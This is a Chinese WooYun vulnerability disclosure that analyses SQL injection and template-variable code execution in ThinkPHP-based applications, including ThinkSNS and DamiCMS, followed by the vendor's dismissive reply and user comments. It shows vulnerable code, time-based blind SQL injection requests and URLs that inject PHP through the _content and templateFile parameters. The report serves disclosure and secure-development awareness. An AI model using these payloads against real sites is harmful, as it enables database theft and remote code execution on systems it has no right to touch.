缺陷编号:WooYun-2014-088251
漏洞标题:从ThinkPHP谈基于框架开发程序的安全性(从SQL注入到代码执行)
相关厂商:ThinkPHP
漏洞作者:xfkxfk
提交时间:2014-12-23 01:29
公开时间:2015-04-02 10:23
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
Tags标签:
2014-12-23: 细节已通知厂商并且等待厂商处理中
2014-12-23: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2015-02-16: 细节向核心白帽子及相关领域专家公开
2015-02-26: 细节向普通白帽子公开
2015-03-08: 细节向实习白帽子公开
2015-04-02: 细节向公众公开
从ThinkPHP谈基于框架开发程序的安全性,以ThinkPHP,ThinkSNS,大米CMS等最新版漏洞证明为例
从ThinkPHP谈基于框架开发程序的安全性,以ThinkPHP,ThinkSNS,大米CMS等为例之前在看ThinkPHP开发手册的时候看到这个:
1 2 3 4 |
字符串方式字符串方式条件即以字符串的方式将条件作为 where() 方法的参数,例子:<br> $Dao = M("User");<br> $List = $Dao->where('uid<10 AND email="Jack@**.**.**.**"')->find();实际执行的 SQL 为:<br> SELECT * FROM user WHERE uid<10 AND email="Jack@**.**.**.**" LIMIT 1字符串方式设定的条件即为实际 SQL 执行的条件,也是最接近原生 SQL 的方式,ThinkPHP 不会对条件做任何(类型上的)检查。 |
这就是说当程序员使用GPC接受的值以字符串形式进入where中,此值是原生的字符换,不会进行任何检查和处理,即便是错误类型和恶意sql语句等,这样就导致sql注入的隐患存在了。我们举个例子,拿最新版的ThinkPHP为例:注意这里$role = $_POST['role'],直接将POST的值付给了变量role然后变量以role拼接字符串的形式进入了where中:
1 2 3 4 |
这样没有单引号保护<br> $row = M('user')->where('role='.$role)->find();<br> 或者这样加上单引号保护<br> $row = M('user')->where("role='".$role."'")->find(); |
不懂安全的程序员任务,将role变量带入where中,ThinkPHP应该会自己处理,应该是安全的但事实上,这样就导致了SQL注入,不管是否加了单引号
数据库执行记录:
恶意的sql语句内容成功进入了sql语句,没有进行任何检测处理。可能大家觉的这样写很可笑,但是在实际应用和程序中,这样写的程序员很多就算使用官方推荐的I方法进行数据的获取,同样存在问题。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
public function test(){<br> if (IS_POST) {<br> $role = I('post.role');<br> if (empty($role)) {<br> $this->error('角色不能为空');<br> }<br> $row = M('user')->where('role='.$role)->find();<br> //$row = M('user')->where("role='".$role."'")->find();<br> if (empty($row)) {<br> echo 0;<br> }else{<br> echo 1;<br> var_dump($row);<br> }<br> }<br> } |
即使这样使用官方推荐的I方法还是存在同意的问题。
所以只要程序员在基于ThinkPHP开发应用程序时,过度相信框架本身的安全性而未自己做好安全检测处理时,会带来很多安全问题,而且都是大面积的。比如最新版的ThinkSNS两处,当然不止这两处了:第一处,文件:/apps/weiba/Lib/Action/IndexAction.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
/**<br> * 删除帖子<br> * @return void<br> */<br> public function postDel(){<br> $weibaid = D('weiba_post')->where('post_id='.intval($_POST['post_id']))->getField('weiba_id');<br> if ( !CheckWeibaPermission( '' , $weibaid , 'weiba_del') ){<br> if ( !CheckPermission('weiba_normal','weiba_del') ){<br> echo 0;return;<br> }<br> }<br> $post_id = $_POST['post_id'];<br> if(D('weiba_post')->where('post_id='.$post_id)->setField('is_del',1)){<br> $post_detail = D('weiba_post')->where('post_id='.$post_id)->find(); |
这里在删除帖子时,$post_id = $_POST['post_id']然后$post_id拼接字符串形式进入where中,跟我们前面讲的问题一样,导致sql注入产生发送如下请求即可进行盲注:
1 |
url:http://localhost/thinksns/index.php?app=weiba&mod=Index&act=postDelpost_data:post_id=1 and if(mid(user(),1,1)=char(114),sleep(1*5),null)referer:http://localhost/thinksns/index.php?app=weiba&mod=Index&act=postDel |
第二处,文件:/apps/w3g/Lib/Action/IndexAction.class.php
1 2 3 4 5 6 7 |
//获取最新微博数<br> function countnew(){<br> $map="weibo_id>{$_POST['nowMaxID']} AND isdel=0";<br> $map.=" AND ( uid IN (SELECT fid FROM ".C('DB_PREFIX')."weibo_follow WHERE uid=$this->uid) OR uid=$this->uid )";<br> $countnew = M('Weibo')->where($map)->count();<br> echo $countnew?$countnew:'0';<br> } |
注意这里的:$map="weibo_id>{$_POST['nowMaxID']} AND isdel=0";其中$_POST['nowMaxID']直接拼接到字符串中,最后map进入了where进行查询,导致注入发送如下请求即可进行盲注:
1 |
url:http://localhost/thinksns/index.php?app=w3g&mod=Index&act=countnewpost_data:nowMaxID=1 and if(mid(user(),1,1)=char(114),sleep(1*5),null)%23referer:http://localhost/thinksns/index.php?app=w3g&mod=Index&act=countnew |
再比如最新版的大米CMS:大米CMS之前的几处漏洞:http://**.**.**.**/bugs/wooyun-2010-081510http://**.**.**.**/bugs/wooyun-2010-081519http://**.**.**.**/bugs/wooyun-2010-081842还有最新提交的两处:http://**.**.**.**/bugs/wooyun-2014-087947/trace/7880e3736bbf2c91c7c7e9dc17ec68a8http://**.**.**.**/bugs/wooyun-2014-087989/trace/876654a7a2c8fc9bae225b34ab148a6e都是因为通过GPC获取值,然后通过字符串直接进入了where中,导致的注入具体就不在列举了。再来谈谈ThinkPHP的模板解析导致的代码执行问题:在ThinkPHP中模板变量的赋值通过assign函数进行,模板变量的解析通过display函数。文件ThinkPHP\Library\Think\view.class.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
/**<br> * 模板变量赋值<br> * @access public<br> * @param mixed $name<br> * @param mixed $value<br> */<br> public function assign($name,$value=''){<br> if(is_array($name)) {<br> $this->tVar = array_merge($this->tVar,$name);<br> }else {<br> $this->tVar[$name] = $value;<br> }<br> } |
如果传入的是数组,那么直接将数组合并,然后载赋值到到tVar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
/**<br> * 加载模板和页面输出 可以返回输出内容<br> * @access public<br> * @param string $templateFile 模板文件名<br> * @param string $charset 模板输出字符集<br> * @param string $contentType 输出类型<br> * @param string $content 模板输出内容<br> * @param string $prefix 模板缓存前缀<br> * @return mixed<br> */<br> public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {<br> G('viewStartTime');<br> // 视图开始标签<br> Hook::listen('view_begin',$templateFile);<br> // 解析并获取模板内容<br> $content = $this->fetch($templateFile,$content,$prefix);<br> // 输出模板内容<br> $this->render($content,$charset,$contentType);<br> // 视图结束标签<br> Hook::listen('view_end');<br> } |
进入编译函数fetch:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
public function fetch($templateFile='',$content='',$prefix='') {<br> if(empty($content)) {<br> $templateFile = $this->parseTemplate($templateFile);<br> // 模板文件不存在直接返回<br> if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);<br> }<br> // 页面缓存<br> ob_start();<br> ob_implicit_flush(0);<br> if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板<br> $_content = $content;<br> // 模板阵列变量分解成为独立变量<br> extract($this->tVar, EXTR_OVERWRITE);<br> // 直接载入PHP模板<br> empty($_content)?include $templateFile:eval('?>'.$_content);<br> }else{<br> // 视图解析标签<br> $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);<br> Hook::listen('view_parse',$params);<br> }<br> // 获取并清空缓存<br> $content = ob_get_clean();<br> // 内容过滤标签<br> Hook::listen('view_filter',$content);<br> // 输出模板文件<br> return $content;<br> } |
当使用PHP原生模板时,会调用extract把tVar导入到变量表里,然后会检测$content变量是否存在,如果存在就使用eval执行,否则include $templateFile。可以看到这里使用了extract函数,extract作用是从数组中把变量导入到当前的符号表中,而第二个参数表示如果有冲突,就覆盖已有变量。因此此处如果$this->tVar可控的话,那么就可以覆盖掉$templateFile变量造成任意文件包含,或者覆盖$content造成任意代码执行。所以当程序员把GPC接受的值传给assign,导致$this->tVar可控,这是就导致文件包含或者代码执行漏洞了,直接getshell。举个例子:
1 2 3 4 5 6 7 8 9 10 |
<?php<br> namespace Home\Controller;<br> use Think\Controller;<br> class IndexController extends Controller {<br> public function local_include(){<br> $var = $_GET;<br> $this->assign($var);<br> $this->display();<br> }<br> } |
这里将$_GET赋值给$var,然后进入assign,最后导致漏洞产生:
1 2 3 |
代码执行:<br> http://localhost/ThinkPHP_3.2.2_full/index.php/home/index/local_include?_content=%3C%3Fphp%20phpinfo%28%29%3B%3F%3E文件包含:<br> http://localhost/ThinkPHP_3.2.2_full/index.php/home/index/local_include?templateFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyBleGl0KCk7Pz4%3D |
这里最好的例子就是ThinkSNS了:http://**.**.**.**/bugs/wooyun-2014-056641http://**.**.**.**/bugs/wooyun-2014-081755当然,按照这里的方法,可找到ThinkSNS不下10处这里的问题直接getshell也是很轻松的。=======================================================================以上漏洞都是从最新版的ThinkPHP中分析得到虽然说ThinkPHP现在做的很不错,用户量很大所以很多新手,很多安全意识差的程序员就过于相信框架本身的安全性在开发时就免去了自身的处理再加上开发人员的低安全意识和大意,产生漏洞的几率就更大了既然作为框架这样的基础型的东西,根基一样要打好,否则像上面这样的问题都是很严重的定时炸弹,总会有爆发的时候,杀伤力还是很大的。
sql注入
代码执行
I函数也不是万能的,要么说明为什么不处理,自行该如何处理,要么全部处理好。
危害等级:无影响厂商忽略
忽略时间:2015-04-0210:23
框架有推荐的安全防范机制 至于用不用完全看开发者了,就算是原生PHP开发,这个漏洞也有可能,从框架的层面来说,开发者可以用框架写出任何代码,包括好的代码和不安全的代码,框架只是工具,不是原罪!忽略该漏洞的用意,也正好告诉开发者引起重视,尽量按照官方推荐的方式进行安全开发。官方从来没说过字符串方式的条件可以防止SQL注入,而且手册中也特意给出了安全章节:http:///manual_3_#safety
漏洞Rank:10 (WooYun评价)
暂无
NB!
关注
打出这波浪潮。
流行大礼包
别这样好吗?来个分析的
好吧
强行先甩锅
厂商回复好霸气~~!
牛逼
赞一下厂商的恢复态度,
霸气
顶
公开时间: 1970-01-01 08:33
除非有安全团队,一般人员很难避免
原文连接
的情况下转载,若非则不得使用我方内容。